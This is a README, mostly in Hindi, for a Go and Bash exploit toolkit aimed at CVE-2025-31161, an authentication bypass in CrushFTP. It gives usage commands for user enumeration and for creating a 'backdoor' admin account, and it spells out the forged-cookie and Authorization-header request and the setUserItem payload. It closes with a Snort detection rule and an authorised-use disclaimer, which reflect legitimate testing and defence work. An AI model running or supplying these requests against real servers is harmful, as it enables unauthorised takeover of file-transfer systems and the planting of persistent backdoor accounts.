
CVE-2025-31161 के लिए बहु-भाषा शोषण टूलकिट, CrushFTP में एक प्रमाणीकरण बाईपास। यह अधिकृत सुरक्षा परीक्षण और CTF चुनौतियों के लिए भेद्यता का पता लगाने, उपयोगकर्ता गणना, और अनधिकृत व्यवस्थापक खाता निर्माण को सक्षम करता है।
CVE-2025-31161 का शोषण करने के लिए एक व्यापक टूलकिट, जो CrushFTP में एक प्रमाणीकरण बाईपास भेद्यता है जो अनधिकृत उपयोगकर्ता खाता निर्माण की अनुमति देता है।
CVE-2025-31161 CrushFTP में एक महत्वपूर्ण प्रमाणीकरण बाईपास भेद्यता है जो हमलावरों को उचित प्रमाणीकरण के बिना अनधिकृत उपयोगकर्ता खाते बनाने की अनुमति देती है। यह भेद्यता वेब इंटरफ़ेस के उपयोगकर्ता प्रबंधन कार्यक्षमता में मौजूद है।
-t, -p, -tu फ़्लैग्स के साथ त्वरित पहुंचCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # This documentation
├── cve-2025-31161.go # Go implementation (recommended)
├── cve-2025-31161.sh # Bash implementation
└── LICENSE # MIT License
# Install Go (if not already installed)
sudo apt install golang-go
# or
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# Requires curl (usually pre-installed)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# Basic usage with shorthand flags
go run cve-2025-31161.go -t example.com -lu
# With custom port
go run cve-2025-31161.go -t example.com -p 8080 -lu
# Long form flags
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# Create new user (will prompt for username/password)
go run cve-2025-31161.go -t example.com -au
# With custom target user (default: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# Long form flags
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# Basic usage
./cve-2025-31161.sh -t example.com -lu
# With custom port
./cve-2025-31161.sh -t example.com -p 8080 -lu
# Create new user
./cve-2025-31161.sh -t example.com -au
# With custom settings
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# Example 1: Enumerate users on target
go run cve-2025-31161.go -t ftp.example.htb -lu
# Example 2: Create backdoor account
go run cve-2025-31161.go -t ftp.example.htb -au
# Then enter: username: backdoor, password: P@ssw0rd123
# Example 3: Non-standard port with user enumeration
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# View help
./cve-2025-31161.sh --help
flowchart TD
A[Start Exploit] --> B[Check Target Connectivity]
B --> C{Target Reachable?}
C -->|No| D[Exit: Connection Failed]
C -->|Yes| E[Send getUserList Request]
E --> F{Response Contains OK?}
F -->|No| G[Exit: Not Vulnerable]
F -->|Yes| H[Target is Vulnerable!]
H --> I{Mode Selected?}
I -->|List Users -lu| J[Parse XML Response]
J --> K[Display User List]
K --> L[Exit: Success]
I -->|Add User -au| M[Prompt for Username]
M --> N[Prompt for Password]
N --> O[Send Warm-up Request]
O --> P[Craft User Creation Payload]
P --> Q[Send setUserItem Request]
Q --> R{User Created Successfully?}
R -->|Yes| S[Success: Account Created]
R -->|No| T[Failed: Exploitation Failed]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2
स्क्रिप्ट पहले यह जांचने के लिए एक getUserList अनुरोध भेजती है कि लक्ष्य असुरक्षित है या नहीं:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
यदि प्रतिक्रिया में <response_status>OK</response_status> शामिल है, तो लक्ष्य असुरक्षित है।
-lu फ़्लैग का उपयोग करते समय, स्क्रिप्ट XML प्रतिक्रिया को पार्स करती है और उपयोगकर्ता नाम निकालती है:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
आउटपुट:
[+] Users:
- ben
- crushadmin
- default
-au फ़्लैग का उपयोग करते समय, स्क्रिप्ट दुर्भावनापूर्ण XML पेलोड के साथ एक setUserItem अनुरोध भेजती है:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
स्क्रिप्ट सफल उपयोगकर्ता निर्माण की पुष्टि करने के लिए प्रतिक्रिया में <response_status>OK</response_status> की जाँच करती है।
यह भेद्यता CrushFTP वेब इंटरफ़ेस के उपयोगकर्ता प्रबंधन कार्यक्षमता में अपर्याप्त प्रमाणीकरण जाँचों से उत्पन्न होती है। एप्लिकेशन कॉल करने वाले की अनुमतियों को ठीक से मान्य किए बिना उपयोगकर्ता निर्माण अनुरोधों को स्वीकार करता है।
setUserItem अनुरोधों की निगरानी करें/webinterface/function/ एंडपॉइंट तक पहुंच को अवरुद्ध करें# Snort/Suricata Rule Example
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ महत्वपूर्ण: यह उपकरण इसके लिए डिज़ाइन किया गया है:
स्पष्ट लिखित अनुमति के बिना सिस्टम पर उपयोग न करें। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है और इसके गंभीर कानूनी परिणाम हो सकते हैं।
योगदान का स्वागत है! कृपया:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)| संस्करण | दिनांक | परिवर्तन |
|---|---|---|
| 1.0.0 | 2025-01-XX | Go और Bash कार्यान्वयन के साथ प्रारंभिक रिलीज़ |
| 1.1.0 | 2025-01-XX | इंटरैक्टिव मोड और भेद्यता का पता लगाना |
| 1.2.0 | 2025-10-02 |
प्रश्नों, सुझावों या सुरक्षा संबंधी चिंताओं के लिए, कृपया इस रिपॉजिटरी में एक मुद्दा खोलें।
| फ़्लैग | लंबा रूप | विवरण | डिफ़ॉल्ट |
|---|
-t | --target_host | लक्ष्य होस्टनाम या आईपी (आवश्यक) | - |
-p | --port | लक्ष्य पोर्ट | 80 |
-tu | --target_user | शोषण के लिए लक्ष्य उपयोगकर्ता | crushadmin |
-lu | --list-users | मौजूदा उपयोगकर्ताओं की सूची बनाएं | - |
-au | --add-user | नया उपयोगकर्ता जोड़ें (इंटरैक्टिव) | - |
--help | सहायता संदेश दिखाएं | - |
| उपयोगकर्ता गणना (-lu), अलग उपयोगकर्ता जोड़ें मोड (-au), शॉर्टहैंड फ़्लैग्स (-t, -p, -tu) जोड़ा गया |